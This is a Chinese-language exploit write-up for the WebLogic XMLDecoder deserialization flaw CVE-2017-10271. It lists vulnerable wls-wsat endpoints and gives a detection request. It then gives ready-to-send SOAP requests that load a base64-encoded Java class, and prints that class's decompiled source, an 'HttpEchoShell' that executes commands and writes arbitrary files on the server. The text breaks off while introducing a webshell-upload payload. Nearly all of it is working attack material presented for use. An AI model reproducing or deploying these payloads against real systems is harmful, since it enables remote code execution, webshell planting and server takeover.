weblogic XMLDecoder反序列化漏洞 CVE-2017-10271

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

10.3.6 版本

漏洞检测

该poc会打印 here_is_XMLDecoder 字符串

POST /wls-wsat/RegistrationRequesterPortType11 HTTP/1.1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Host: 192.168.23.213:7002
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 906
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="java.lang.Thread" method="currentThread">
                    <void method="getCurrentWork">
                        <void method="getResponse">
                            <void method="getServletOutputStream">
                                <void method="flush"/>
                            </void>
                            <void method="getWriter"><void method="write"><string>
here_is_XMLDecoder
</string></void></void>
                        </void>
                    </void>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

命令执行

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Content-type: text/xml
cmd: whoami
type: exec
User-Agent: Java1.8.0_221
Host: 192.168.23.216:7001
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
Content-Length: 7067
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="sun.misc.BASE64Decoder"><void method="decodeBuffer" id="byte_arr"><string>yv66vgAAADIA7goAOwB+BwB/CgACAIAHAIEKAAQAfggAggoAgwCECgAEAIUKAAIAhgoAAgCHCgAC
AIgHAIkIAIoKAIsAjAoAEgCNCACOCgASAI8HAJAIAJEIAJIIAJMIAJQKAJUAlgoAlQCXCgCYAJkH
AJoKABoAfgoAmwCcCgAaAJ0KABoAngoAEgCfCgCgAKEHAKIKACEAowcApAoAIwClCgCmAKcKACMA
qAgAdwgAqQoAqgCrCABOCgASAKwIAFsIAK0IAK4IAK8KAKYAsAoAOgCxCgCyALMKALIAhwoApgC0
CgC1ALYIAEMIAEkIAEsKADoAtwcAuAcAuQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVt
YmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAfTHN1cGVybWFuL3NoZWxscy9I
dHRwRWNob1NoZWxsOwEABnVwbG9hZAEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0
cmluZzspVgEAEGZpbGVPdXRwdXRTdHJlYW0BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEA
AWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAARwYXRoAQASTGphdmEvbGFuZy9TdHJpbmc7AQAE
dGV4dAEADVN0YWNrTWFwVGFibGUHAIkBAARleGVjAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2
YS9sYW5nL1N0cmluZzsBAARuYW1lAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAJpbgEA
FUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAA2J1ZgEAAltCAQADbGVuAQABSQEAA291dAEAH0xqYXZh
L2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAANjbWQHAJAHAFIHALoHAFYHAJoBAAl0cmFuc2Zv
cm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20v
c3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRs
ZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNs
dGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nl
cmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAuwEApihMY29tL3N1
bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1s
L2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEA
NUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAH
aGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
aWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAZyZXN1bHQBAAZ0aHJlYWQBAB1Md2VibG9n
aWMvd29yay9FeGVjdXRlVGhyZWFkOwEAA3JlcQEALkx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFs
L1NlcnZsZXRSZXF1ZXN0SW1wbDsBAANyZXMBAC9Md2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9T
ZXJ2bGV0UmVzcG9uc2VJbXBsOwEAM0x3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRP
dXRwdXRTdHJlYW1JbXBsOwEABHR5cGUHAKIHAKQHALwHAL0BAApTb3VyY2VGaWxlAQASSHR0cEVj
aG9TaGVsbC5qYXZhDAA8AD0BABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0MADwAvgEAFnN1bi9t
aXNjL0JBU0U2NERlY29kZXIBAAV1dGYtOAcAvwwAwADBDADCAMMMAMQAxQwAxgA9DADHAD0BABNq
YXZhL2xhbmcvRXhjZXB0aW9uAQAHb3MubmFtZQcAyAwAyQBPDADKAMsBAAN3aW4MAMwAzQEAEGph
dmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MBAAJzaAEAAi1jBwDODADPANAMAE4A0QcA0gwA
0wDUAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HALoMANUA1gwAxADXDADYANkMADwA
xQcA2gwA2wDcAQAbd2VibG9naWMvd29yay9FeGVjdXRlVGhyZWFkDADdAN4BACx3ZWJsb2dpYy9z
ZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXF1ZXN0SW1wbAwA3wDgBwC8DADhAOIMAOMA5AEAAAcA
5QwA5gDBDADnAOgBAAZ3aG9hbWkBAAVpc1Z1bAEAAm9rDADpAEQMAE4ATwcAvQwA6gC+DADrAOwH
AO0MAMQAvgwAQwBEAQAdc3VwZXJtYW4vc2hlbGxzL0h0dHBFY2hvU2hlbGwBAEBjb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAT
amF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEALXdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2Vydmxl
dFJlc3BvbnNlSW1wbAEAMXdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldE91dHB1dFN0
cmVhbUltcGwBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABNqYXZhL25ldC9VUkxEZWNvZGVyAQAG
ZGVjb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5n
L1N0cmluZzsBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFd3JpdGUB
AAUoW0IpVgEABWZsdXNoAQAFY2xvc2UBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkB
AAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEv
bGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUo
KUxqYXZhL2xhbmcvUnVudGltZTsBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By
b2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8v
SW5wdXRTdHJlYW07AQAEcmVhZAEABShbQilJAQAHKFtCSUkpVgEAC3RvQnl0ZUFycmF5AQAEKClb
QgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVh
ZDsBAA5nZXRDdXJyZW50V29yawEAHSgpTHdlYmxvZ2ljL3dvcmsvV29ya0FkYXB0ZXI7AQALZ2V0
UmVzcG9uc2UBADEoKUx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUlt
cGw7AQAWZ2V0U2VydmxldE91dHB1dFN0cmVhbQEANSgpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJu
YWwvU2VydmxldE91dHB1dFN0cmVhbUltcGw7AQARZ2V0UmVxdWVzdEhlYWRlcnMBACwoKUx3ZWJs
b2dpYy9zZXJ2bGV0L2ludGVybmFsL1JlcXVlc3RIZWFkZXJzOwEAKHdlYmxvZ2ljL3NlcnZsZXQv
aW50ZXJuYWwvUmVxdWVzdEhlYWRlcnMBAAlnZXRIZWFkZXIBAAZlcXVhbHMBABUoTGphdmEvbGFu
Zy9PYmplY3Q7KVoBAAlzZXRIZWFkZXIBAAVwcmludAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8v
UHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgAhADoAOwAAAAAABgABADwAPQABAD4A
AAAvAAEAAQAAAAUqtwABsQAAAAIAPwAAAAYAAQAAABMAQAAAAAwAAQAAAAUAQQBCAAAACQBDAEQA
AQA+AAAAnwAEAAMAAAAquwACWSq3AANNLLsABFm3AAUrEga4AAe2AAi2AAkstgAKLLYAC6cABE2x
AAEAAAAlACgADAADAD8AAAAeAAcAAAAyAAkAMwAdADQAIQA1ACUAOAAoADYAKQA5AEAAAAAqAAQA
CQAcAEUARgACACkAAABHAEgAAgAAACoASQBKAAAAAAAqAEsASgABAEwAAAAHAAJoBwBNAAAJAE4A
TwABAD4AAAFgAAQABwAAAIYSDbgADkwrxgAkK7YADxIQtgARmQAYBr0AElkDEhNTWQQSFFNZBSpT
pwAVBr0AElkDEhVTWQQSFlNZBSpTTbgAFyy2ABi2ABlOEQQAvAg6BAM2BbsAGlm3ABs6Bi0ZBLYA
HFk2BQKfABAZBhkEAxUFtgAdp//puwASWRkGtgAetwAfsEwBsAABAAAAggCDAAwAAwA/AAAALgAL
AAAAPQAGAD4APgA/AEkAQABQAEEAUwBCAFwAQwBpAEQAdgBGAIMARwCEAEoAQAAAAFIACAAGAH0A
UABKAAEAPgBFAFEAUgACAEkAOgBTAFQAAwBQADMAVQBWAAQAUwAwAFcAWAAFAFwAJwBZAFoABgCE
AAAARwBIAAEAAACGAFsASgAAAEwAAAA0AAX8ACsHAFxRBwBd/wAeAAcHAFwHAFwHAF0HAF4HAF8B
BwBgAAAZ/wAMAAEHAFwAAQcATQABAGEAYgACAD4AAAA/AAAAAwAAAAGxAAAAAgA/AAAABgABAAAA
TwBAAAAAIAADAAAAAQBBAEIAAAAAAAEAYwBkAAEAAAABAGUAZgACAGcAAAAEAAEAaAABAGEAaQAC
AD4AAABJAAAABAAAAAGxAAAAAgA/AAAABgABAAAAVABAAAAAKgAEAAAAAQBBAEIAAAAAAAEAYwBk
AAEAAAABAGoAawACAAAAAQBsAG0AAwBnAAAABAABAGgACABuAD0AAQA+AAABrwADAAcAAACguAAg
wAAhSyq2ACLAACNMK7YAJE0stgAlTiu2ACYSJxIotgApOgQZBMYADRkEEiq2ACuZAD4rtgAmEiwS
KLYAKToFGQXHAAcSLToFLBIuEi+2ADAZBbgAMToGLRkGtgAyLbYAMyy2ADQSKLYANacALhkEEja2
ACuZACQrtgAmEjcSKLYAKToFK7YAJhI4Eii2ACk6BhkFGQa4ADmnAARLsQABAAAAmwCeAAwAAwA/
AAAAVgAVAAAAFgAHABcADwAYABQAGQAZABoAJgAbADUAHABCAB0ARwAeAEsAIABTACEAWgAiAGAA
IwBkACQAbQAlAHoAJgCHACcAlAAoAJsALACeACoAnwAuAEAAAABmAAoAQgArAFsASgAFAFoAEwBv
AEoABgCHABQASQBKAAUAlAAHAEsASgAGAAcAlABwAHEAAAAPAIwAcgBzAAEAFACHAHQAdQACABkA
ggBZAHYAAwAmAHUAdwBKAAQAnwAAAEcASAAAAEwAAAAtAAb/ADUABQcAeAcAeQcAegcAewcAXAAA
/AAVBwBc+gAk/wAqAAAAAEIHAE0AAAEAfAAAAAIAfQ==</string></void></void><void class="weblogic.utils.classloaders.ClasspathClassLoader"><void method="defineCodeGenClass"><string>superman.shells.HttpEchoShell</string><object idref="byte_arr"></object><object class="java.net.URL"/></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

以下是base64中反编译出来的源码

package superman.shells;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletOutputStreamImpl;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletResponseImpl;
import weblogic.work.ExecuteThread;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URLDecoder;
public class HttpEchoShell extends AbstractTranslet {
    static {
        try{
            ExecuteThread thread= (ExecuteThread) Thread.currentThread();
            ServletRequestImpl req= (ServletRequestImpl) thread.getCurrentWork();
            ServletResponseImpl res=req.getResponse();
            ServletOutputStreamImpl out= res.getServletOutputStream();
            String type=req.getRequestHeaders().getHeader("type","");
            if(type==null||type.equals("exec")){//执行命令
                String cmd=req.getRequestHeaders().getHeader("cmd","");
                if(cmd==null){
                    cmd="whoami";
                }
                res.setHeader("isVul","ok");
                String result=exec(cmd);
                out.print(result);
                out.flush();
                res.getWriter().write("");
            }else if(type.equals("upload")){//上传文件
                String path=req.getRequestHeaders().getHeader("path","");
                String text=req.getRequestHeaders().getHeader("text","");
                upload(path,text);
            }
        }catch (Exception e){
        }
    }
    //上传文件
    public static void upload(String path, String text){
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(path);
            fileOutputStream.write(new BASE64Decoder().decodeBuffer(URLDecoder.decode(text,"utf-8")));
            fileOutputStream.flush();
            fileOutputStream.close();
        }catch (Exception e) {
        }
    }
    //执行命令
    public static String exec(String cmd){
        try{
            String name=System.getProperty("os.name");
            String[] cmds =name!=null&&name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c",  cmd}:new String[]{"sh", "-c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            byte[] buf=new byte[1024];
            int len=0;
            ByteArrayOutputStream out=new ByteArrayOutputStream();
            while ((len=in.read(buf))!=-1){
                out.write(buf,0,len);
            }
            return new String(out.toByteArray());
        }catch (Exception e){
        }
        return null;
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

文件上传

与上面命令执行的payload是一样的

这个版本需要 指定上传的路径

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Content-type: text/xml
type: upload
path: 111zzz.jsp
text: aGVsbG8=
User-Agent: Java1.8.0_221
Host: 192.168.23.216:7001
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
Content-Length: 7067
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="sun.misc.BASE64Decoder"><void method="decodeBuffer" id="byte_arr"><string>yv66vgAAADIA7goAOwB+BwB/CgACAIAHAIEKAAQAfggAggoAgwCECgAEAIUKAAIAhgoAAgCHCgAC
AIgHAIkIAIoKAIsAjAoAEgCNCACOCgASAI8HAJAIAJEIAJIIAJMIAJQKAJUAlgoAlQCXCgCYAJkH
AJoKABoAfgoAmwCcCgAaAJ0KABoAngoAEgCfCgCgAKEHAKIKACEAowcApAoAIwClCgCmAKcKACMA
qAgAdwgAqQoAqgCrCABOCgASAKwIAFsIAK0IAK4IAK8KAKYAsAoAOgCxCgCyALMKALIAhwoApgC0
CgC1ALYIAEMIAEkIAEsKADoAtwcAuAcAuQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVt
YmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAfTHN1cGVybWFuL3NoZWxscy9I
dHRwRWNob1NoZWxsOwEABnVwbG9hZAEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0
cmluZzspVgEAEGZpbGVPdXRwdXRTdHJlYW0BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEA
AWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAARwYXRoAQASTGphdmEvbGFuZy9TdHJpbmc7AQAE
dGV4dAEADVN0YWNrTWFwVGFibGUHAIkBAARleGVjAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2
YS9sYW5nL1N0cmluZzsBAARuYW1lAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAJpbgEA
FUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAA2J1ZgEAAltCAQADbGVuAQABSQEAA291dAEAH0xqYXZh
L2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAANjbWQHAJAHAFIHALoHAFYHAJoBAAl0cmFuc2Zv
cm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20v
c3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRs
ZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNs
dGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nl
cmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAuwEApihMY29tL3N1
bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1s
L2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEA
NUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAH
aGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
aWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAZyZXN1bHQBAAZ0aHJlYWQBAB1Md2VibG9n
aWMvd29yay9FeGVjdXRlVGhyZWFkOwEAA3JlcQEALkx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFs
L1NlcnZsZXRSZXF1ZXN0SW1wbDsBAANyZXMBAC9Md2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9T
ZXJ2bGV0UmVzcG9uc2VJbXBsOwEAM0x3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRP
dXRwdXRTdHJlYW1JbXBsOwEABHR5cGUHAKIHAKQHALwHAL0BAApTb3VyY2VGaWxlAQASSHR0cEVj
aG9TaGVsbC5qYXZhDAA8AD0BABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0MADwAvgEAFnN1bi9t
aXNjL0JBU0U2NERlY29kZXIBAAV1dGYtOAcAvwwAwADBDADCAMMMAMQAxQwAxgA9DADHAD0BABNq
YXZhL2xhbmcvRXhjZXB0aW9uAQAHb3MubmFtZQcAyAwAyQBPDADKAMsBAAN3aW4MAMwAzQEAEGph
dmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MBAAJzaAEAAi1jBwDODADPANAMAE4A0QcA0gwA
0wDUAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0HALoMANUA1gwAxADXDADYANkMADwA
xQcA2gwA2wDcAQAbd2VibG9naWMvd29yay9FeGVjdXRlVGhyZWFkDADdAN4BACx3ZWJsb2dpYy9z
ZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXF1ZXN0SW1wbAwA3wDgBwC8DADhAOIMAOMA5AEAAAcA
5QwA5gDBDADnAOgBAAZ3aG9hbWkBAAVpc1Z1bAEAAm9rDADpAEQMAE4ATwcAvQwA6gC+DADrAOwH
AO0MAMQAvgwAQwBEAQAdc3VwZXJtYW4vc2hlbGxzL0h0dHBFY2hvU2hlbGwBAEBjb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAT
amF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEALXdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2Vydmxl
dFJlc3BvbnNlSW1wbAEAMXdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldE91dHB1dFN0
cmVhbUltcGwBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABNqYXZhL25ldC9VUkxEZWNvZGVyAQAG
ZGVjb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5n
L1N0cmluZzsBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAFd3JpdGUB
AAUoW0IpVgEABWZsdXNoAQAFY2xvc2UBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkB
AAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEv
bGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUo
KUxqYXZhL2xhbmcvUnVudGltZTsBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By
b2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8v
SW5wdXRTdHJlYW07AQAEcmVhZAEABShbQilJAQAHKFtCSUkpVgEAC3RvQnl0ZUFycmF5AQAEKClb
QgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVh
ZDsBAA5nZXRDdXJyZW50V29yawEAHSgpTHdlYmxvZ2ljL3dvcmsvV29ya0FkYXB0ZXI7AQALZ2V0
UmVzcG9uc2UBADEoKUx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUlt
cGw7AQAWZ2V0U2VydmxldE91dHB1dFN0cmVhbQEANSgpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJu
YWwvU2VydmxldE91dHB1dFN0cmVhbUltcGw7AQARZ2V0UmVxdWVzdEhlYWRlcnMBACwoKUx3ZWJs
b2dpYy9zZXJ2bGV0L2ludGVybmFsL1JlcXVlc3RIZWFkZXJzOwEAKHdlYmxvZ2ljL3NlcnZsZXQv
aW50ZXJuYWwvUmVxdWVzdEhlYWRlcnMBAAlnZXRIZWFkZXIBAAZlcXVhbHMBABUoTGphdmEvbGFu
Zy9PYmplY3Q7KVoBAAlzZXRIZWFkZXIBAAVwcmludAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8v
UHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgAhADoAOwAAAAAABgABADwAPQABAD4A
AAAvAAEAAQAAAAUqtwABsQAAAAIAPwAAAAYAAQAAABMAQAAAAAwAAQAAAAUAQQBCAAAACQBDAEQA
AQA+AAAAnwAEAAMAAAAquwACWSq3AANNLLsABFm3AAUrEga4AAe2AAi2AAkstgAKLLYAC6cABE2x
AAEAAAAlACgADAADAD8AAAAeAAcAAAAyAAkAMwAdADQAIQA1ACUAOAAoADYAKQA5AEAAAAAqAAQA
CQAcAEUARgACACkAAABHAEgAAgAAACoASQBKAAAAAAAqAEsASgABAEwAAAAHAAJoBwBNAAAJAE4A
TwABAD4AAAFgAAQABwAAAIYSDbgADkwrxgAkK7YADxIQtgARmQAYBr0AElkDEhNTWQQSFFNZBSpT
pwAVBr0AElkDEhVTWQQSFlNZBSpTTbgAFyy2ABi2ABlOEQQAvAg6BAM2BbsAGlm3ABs6Bi0ZBLYA
HFk2BQKfABAZBhkEAxUFtgAdp//puwASWRkGtgAetwAfsEwBsAABAAAAggCDAAwAAwA/AAAALgAL
AAAAPQAGAD4APgA/AEkAQABQAEEAUwBCAFwAQwBpAEQAdgBGAIMARwCEAEoAQAAAAFIACAAGAH0A
UABKAAEAPgBFAFEAUgACAEkAOgBTAFQAAwBQADMAVQBWAAQAUwAwAFcAWAAFAFwAJwBZAFoABgCE
AAAARwBIAAEAAACGAFsASgAAAEwAAAA0AAX8ACsHAFxRBwBd/wAeAAcHAFwHAFwHAF0HAF4HAF8B
BwBgAAAZ/wAMAAEHAFwAAQcATQABAGEAYgACAD4AAAA/AAAAAwAAAAGxAAAAAgA/AAAABgABAAAA
TwBAAAAAIAADAAAAAQBBAEIAAAAAAAEAYwBkAAEAAAABAGUAZgACAGcAAAAEAAEAaAABAGEAaQAC
AD4AAABJAAAABAAAAAGxAAAAAgA/AAAABgABAAAAVABAAAAAKgAEAAAAAQBBAEIAAAAAAAEAYwBk
AAEAAAABAGoAawACAAAAAQBsAG0AAwBnAAAABAABAGgACABuAD0AAQA+AAABrwADAAcAAACguAAg
wAAhSyq2ACLAACNMK7YAJE0stgAlTiu2ACYSJxIotgApOgQZBMYADRkEEiq2ACuZAD4rtgAmEiwS
KLYAKToFGQXHAAcSLToFLBIuEi+2ADAZBbgAMToGLRkGtgAyLbYAMyy2ADQSKLYANacALhkEEja2
ACuZACQrtgAmEjcSKLYAKToFK7YAJhI4Eii2ACk6BhkFGQa4ADmnAARLsQABAAAAmwCeAAwAAwA/
AAAAVgAVAAAAFgAHABcADwAYABQAGQAZABoAJgAbADUAHABCAB0ARwAeAEsAIABTACEAWgAiAGAA
IwBkACQAbQAlAHoAJgCHACcAlAAoAJsALACeACoAnwAuAEAAAABmAAoAQgArAFsASgAFAFoAEwBv
AEoABgCHABQASQBKAAUAlAAHAEsASgAGAAcAlABwAHEAAAAPAIwAcgBzAAEAFACHAHQAdQACABkA
ggBZAHYAAwAmAHUAdwBKAAQAnwAAAEcASAAAAEwAAAAtAAb/ADUABQcAeAcAeQcAegcAewcAXAAA
/AAVBwBc+gAk/wAqAAAAAEIHAE0AAAEAfAAAAAIAfQ==</string></void></void><void class="weblogic.utils.classloaders.ClasspathClassLoader"><void method="defineCodeGenClass"><string>superman.shells.HttpEchoShell</string><object idref="byte_arr"></object><object class="java.net.URL"/></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

下面这个payload会自动上传webshell到 web目录

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war

POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Content-Type: text/xml
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Host: 192.168.23.216:7001
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
